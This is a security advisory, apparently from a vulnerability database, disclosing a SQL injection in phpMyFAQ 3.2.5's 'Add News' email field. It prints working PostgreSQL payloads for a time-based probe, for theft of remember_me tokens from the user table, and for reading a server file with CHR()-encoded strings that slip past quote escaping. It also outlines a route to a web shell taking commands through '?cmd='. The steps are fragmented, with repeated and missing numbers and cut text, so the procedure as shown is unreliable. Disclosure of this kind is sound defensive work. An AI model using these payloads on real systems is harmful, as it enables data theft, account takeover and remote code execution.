A SQL injection vulnerability has been discovered in the the "Add News" functionality due to improper escaping of the email address. This allows any authenticated user with the rights to add/edit FAQ news to exploit this vulnerability to exfiltrate data, take over accounts and in some cases, even achieve RCE.
The vulnerable field lies in the authorEmail
field which uses PHP's FILTER_VALIDATE_EMAIL
filter. This filter is insufficient in protecting against SQL injection attacks and should still be properly escaped. However, in this version of phpMyFAQ (3.2.5), this field is not escaped properly can be used together with other fields to fully exploit the SQL injection vulnerability.
4 PoCs are demonstrated here to illustrate the potential impacts.
test'/*@[email.com](http://email.com/)
".
3.2 - Set the "linkTitle" field in the body to "*/,1,1,1,1,1,1,1);select+pg_sleep(5)--
".
3.3 - Set the rest of the fields as empty and send the request.test'/*@[email.com](http://email.com/)
".
2.2 - Set the "linkTitle" field in the body to "*/,1,1,1,1,1,1,1);SELECT+remember_me+FROM+faquser+limit+1+offset+1%3b--
".
test'/*@[email.com](http://email.com/)
".
2.2 - Set the "linkTitle" field in the body to "*/,1,1,1,1,1,(select+pg_read_file(CONCAT(CHR(67),CHR(58),CHR(92),CHR(87),CHR(105),CHR(110),CHR(100),CHR(111),CHR(119),CHR(115),CHR(92),CHR(119),CHR(105),CHR(110),CHR(46),CHR(105),CHR(110),CHR(105)))),1)--
". (the CONCAT() and CHR() functions are used to bypass the escaping of single quotes, these characters in its decoded form is "select pgreadfile('C:\Windows\win.ini')")
It is also possible to obtain a shell if superuser is enabled on the postgres DB. These are the high level steps of the exploit chain:
http://<URL>/shell.php
" that takes in commands via the "?cmd=" parameter.The video demo and the Python PoC script can be accessed from this link: https://drive.google.com/drive/folders/1BFL8GHIBxSUxu0TneYf66KjFA0A4RZga?usp=sharing
The SQL injection vulnerability discovered in the "Add News" functionality of the application allows authenticated users with appropriate privileges to execute malicious SQL queries, potentially leading to data exfiltration, account takeover, and even remote code execution. Attackers can exploit the vulnerability to read sensitive data from the database, such as user credentials and system files, compromising the confidentiality and integrity of the system. Moreover, successful exploitation may enable attackers to gain unauthorized access to user accounts or execute arbitrary commands on the server, impacting both system administrators and end users.
{ "nvd_published_at": "2024-03-25T19:15:57Z", "cwe_ids": [ "CWE-89" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-25T19:44:05Z" }